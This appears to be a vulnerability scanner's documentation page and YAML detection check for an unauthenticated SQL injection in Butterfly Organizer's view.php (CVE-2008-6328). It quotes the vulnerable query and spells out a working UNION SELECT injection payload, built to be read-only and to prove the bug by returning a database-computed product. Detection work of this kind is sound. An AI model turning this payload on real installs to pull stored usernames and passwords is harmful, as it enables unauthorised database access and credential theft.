Butterfly Organizer — 1 vulnerability check
noctis ships 1 vulnerability check for Butterfly Organizer, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Butterfly Organizer view.php id SQL Injection
| CVE | CVE-2008-6328 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/butterfly-organizer/CVE-2008-6328.yaml |
Butterfly Organizer 2.0.0 and 2.0.1 put the id parameter of view.php unquoted into an SQL query, without authentication, and print the returned row, allowing SQL injection (an attacker can read every stored account, including the saved usernames and passwords).
This check requests view.php under the web root and the usual install path. Where it answers, it reads up to three category table names from the application's index page (and adds the default test_category) and, against each table in turn, sends an id that is a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. No stored data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/view.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/view.php?id={{sc.q_union}}&mytable={{tb.t0}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/view.php?id={{sc.q_union}}&mytable={{tb.t1}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/view.php?id={{sc.q_union}}&mytable={{tb.t2}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/view.php?id={{sc.q_union}}&mytable={{tb.t3}} - Parses / computes the next value with a Rhai script
- Checks
hit_dirfor^/→ finding QoD 97: Butterfly Organizer view.php id SQL Injection (CVE-2008-6328)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2008-6328
- https://www.exploit-db.com/exploits/5797
- https://www.exploit-db.com/exploits/7411
- http://www.securityfocus.com/bid/29700
- https://sourceforge.net/projects/butterflyorg/
Feed source — tests/vulnerabilities/butterfly-organizer/CVE-2008-6328.yaml
# Butterfly Organizer 2.0.0 / 2.0.1 — view.php id SQL injection — CVE-2008-6328
#
# view.php (Butterfly Organizer 2.0.0 BETA1, SourceForge butterflyorg; same code quoted
# for 2.0.0 by EDB-5797 and for 2.0.1 by EDB-7411) runs, with no authentication:
# $mytable = $_GET['mytable']; $id = $_GET['id'];
# mysql_query("SELECT * FROM ".$mytable." WHERE id=$id", $database);
# and prints columns id, date, reference, name, url, username, password, notes and other
# of the returned row raw in the "Site Details" table. Every category table has the same
# 10 columns (category-create.php: id … other, lastmodified); test_category is the one
# the installer creates, and index.php links each category as viewdb2.php?mytable=<table>.
# A failed query prints nothing (no "or die"), so there is no error-based channel.
# (The mytable vector is CVE-2008-6311 and is not used: mytable only names a table.)
#
# Detection (QoD 97), per candidate dir whose view.php answers 200:
# 1. read the first three table names index.php links (it lists every non-built-in
# table of the database, by name, so another application's table can come first),
# then test_category;
# 2. id = -1 union select C,C,C,C,C,C,C,C,C,10-- - with C = CONCAT(0x4e4f43544953, a*b,
# 0x454e44) and random a, b, against each of those tables until one returns it.
# The vulnerable page shows NOCTIS<a*b>END in the Site Details table. The product a*b is
# never in the request, so only a database that evaluated our expression can return it.
# Read-only: no row data is selected or written. Checked against view.php from the 2.0.0
# BETA1 zip (mysql_* mapped to mysqli) on MariaDB through PHP 8.3, with the installer's
# organizer.sql schema.
#
# Better than the source NASL:
# - a database-computed value instead of the fixed hex-decoded "SQL-Injection-Test",
# so a page that echoes id after decoding 0x literals (or a honeypot) cannot match;
# - the category table is read from the install's own index page, so an install whose
# default test_category was deleted or renamed is still found;
# - the marker goes in every displayed column, and the web root is probed too.
#
# Source: OpenVAS/Greenbone NVT 2009/gb_butterfly_organizer_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100055, GPL-2.0-only).
uid: 331567d7-58ac-4674-b152-73bfcec44647
name: "Butterfly Organizer view.php id SQL Injection (CVE-2008-6328)"
description: |
Butterfly Organizer 2.0.0 and 2.0.1 put the id parameter of view.php unquoted into an
SQL query, without authentication, and print the returned row, allowing SQL injection
(an attacker can read every stored account, including the saved usernames and
passwords).
This check requests view.php under the web root and the usual install path. Where it
answers, it reads up to three category table names from the application's index page
(and adds the default test_category) and, against each table in turn, sends an id that
is a UNION SELECT of an expression multiplying two random numbers. The vulnerability
is confirmed when the page returns the product computed by the database, which never
appears in the request. No stored data is read and nothing is written.
cves: [CVE-2008-6328]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [butterfly-organizer, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2008-6328"
- "https://www.exploit-db.com/exploits/5797"
- "https://www.exploit-db.com/exploits/7411"
- "http://www.securityfocus.com/bid/29700"
- "https://sourceforge.net/projects/butterflyorg/"
# OpenVAS/Greenbone NASL 2009/gb_butterfly_organizer_mult_vuln.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected value and the encoded id payload ────────────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
#{ want: "NOCTIS" + (a * b) + "END",
expr: a + "*" + b,
q_union: "-1%20union%20select%20" + c + "," + c + "," + c + "," + c + "," + c + ","
+ c + "," + c + "," + c + "," + c + ",10--%20-" }
store_as: sc
- id: init-hit
action: set_var
var_name: hit_dir
var_value: ""
- id: init-how
action: set_var
var_name: hit_how
var_value: ""
# ── Per candidate install path (loop group) ───────────────────────────────
- id: init-landing
action: set_var
var_name: landing
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/organizer", "/butterfly"]
- id: init-index
action: set_var
var_name: index_resp
var_value: {status: 0, body: ""}
- id: init-is-bo
action: set_var
var_name: is_bo
var_value: false
- id: init-tables
action: set_var
var_name: tb
var_value: {n: 1, t0: "test_category", t1: "", t2: "", t3: ""}
- id: init-union-resp0
action: set_var
var_name: union_resp0
var_value: {status: 0, body: ""}
- id: init-union-resp1
action: set_var
var_name: union_resp1
var_value: {status: 0, body: ""}
- id: init-union-resp2
action: set_var
var_name: union_resp2
var_value: {status: 0, body: ""}
- id: init-union-resp3
action: set_var
var_name: union_resp3
var_value: {status: 0, body: ""}
- id: fetch-landing
action: http_request
method: GET
path: "{{dir}}/view.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == ""'
store_as: landing
- id: gate
action: script
condition: 'hit_dir == ""'
code: |
landing.status == 200
store_as: is_bo
# index.php lists every table of the database that is not a built-in one as
# viewdb2.php?mytable=<table> (sorted by name, so a table of another application
# sharing the database can come first), and the installer's test_category may have
# been deleted. Probe the first three linked tables, then test_category.
- id: fetch-index
action: http_request
method: GET
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && is_bo == true'
store_as: index_resp
- id: pick-tables
action: script
condition: 'hit_dir == "" && is_bo == true'
code: |
let body = if type_of(index_resp.body) == "string" { index_resp.body } else { "" };
let names = [];
let parts = split(body, "viewdb2.php?mytable=");
let i = 1;
while i < parts.len() && names.len() < 3 {
let m = eregmatch("^([A-Za-z_][A-Za-z0-9_]{0,63})", parts[i]);
if m.len() > 1 && !names.contains(m[1]) { names.push(m[1]); }
i += 1;
}
if !names.contains("test_category") { names.push("test_category"); }
#{ n: names.len(),
t0: names[0],
t1: if names.len() > 1 { names[1] } else { "" },
t2: if names.len() > 2 { names[2] } else { "" },
t3: if names.len() > 3 { names[3] } else { "" } }
store_as: tb
- id: union-probe0
action: http_request
method: GET
path: "{{dir}}/view.php?id={{sc.q_union}}&mytable={{tb.t0}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && is_bo == true'
store_as: union_resp0
- id: check-union0
action: script
condition: 'hit_dir == "" && is_bo == true'
code: |
let body = if type_of(union_resp0.body) == "string" { union_resp0.body } else { "" };
if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
store_as: hit_dir
- id: how-union0
action: set_var
condition: 'hit_dir != "" && hit_how == ""'
var_name: hit_how
var_value: "view.php?mytable={{tb.t0}}&id=-1 union select CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),…,10-- - returned the database-computed value {{sc.want}}"
- id: union-probe1
action: http_request
method: GET
path: "{{dir}}/view.php?id={{sc.q_union}}&mytable={{tb.t1}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && is_bo == true && tb.n > 1'
store_as: union_resp1
- id: check-union1
action: script
condition: 'hit_dir == "" && is_bo == true && tb.n > 1'
code: |
let body = if type_of(union_resp1.body) == "string" { union_resp1.body } else { "" };
if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
store_as: hit_dir
- id: how-union1
action: set_var
condition: 'hit_dir != "" && hit_how == ""'
var_name: hit_how
var_value: "view.php?mytable={{tb.t1}}&id=-1 union select CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),…,10-- - returned the database-computed value {{sc.want}}"
- id: union-probe2
action: http_request
method: GET
path: "{{dir}}/view.php?id={{sc.q_union}}&mytable={{tb.t2}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && is_bo == true && tb.n > 2'
store_as: union_resp2
- id: check-union2
action: script
condition: 'hit_dir == "" && is_bo == true && tb.n > 2'
code: |
let body = if type_of(union_resp2.body) == "string" { union_resp2.body } else { "" };
if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
store_as: hit_dir
- id: how-union2
action: set_var
condition: 'hit_dir != "" && hit_how == ""'
var_name: hit_how
var_value: "view.php?mytable={{tb.t2}}&id=-1 union select CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),…,10-- - returned the database-computed value {{sc.want}}"
- id: union-probe3
action: http_request
method: GET
path: "{{dir}}/view.php?id={{sc.q_union}}&mytable={{tb.t3}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && is_bo == true && tb.n > 3'
store_as: union_resp3
- id: check-union3
action: script
condition: 'hit_dir == "" && is_bo == true && tb.n > 3'
code: |
let body = if type_of(union_resp3.body) == "string" { union_resp3.body } else { "" };
if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
store_as: hit_dir
- id: how-union3
action: set_var
condition: 'hit_dir != "" && hit_how == ""'
var_name: hit_how
var_value: "view.php?mytable={{tb.t3}}&id=-1 union select CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),…,10-- - returned the database-computed value {{sc.want}}"
# ── Finding ───────────────────────────────────────────────────────────────
- id: report
action: match
source: hit_dir
pattern: "^/"
on_match:
finding:
title: "Butterfly Organizer view.php id SQL Injection (CVE-2008-6328)"
description: "An unauthenticated request to view.php with an id carrying a multiplication of two random numbers returned the product computed by the database: id reaches the SQL query unquoted, so an attacker can read the whole database, including every stored account's username and password."
remediation: "No fixed Butterfly Organizer release is known: remove the application, or at least restrict access to it (for example with HTTP authentication on its directory)."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit_dir}}: {{hit_how}}"
stop: true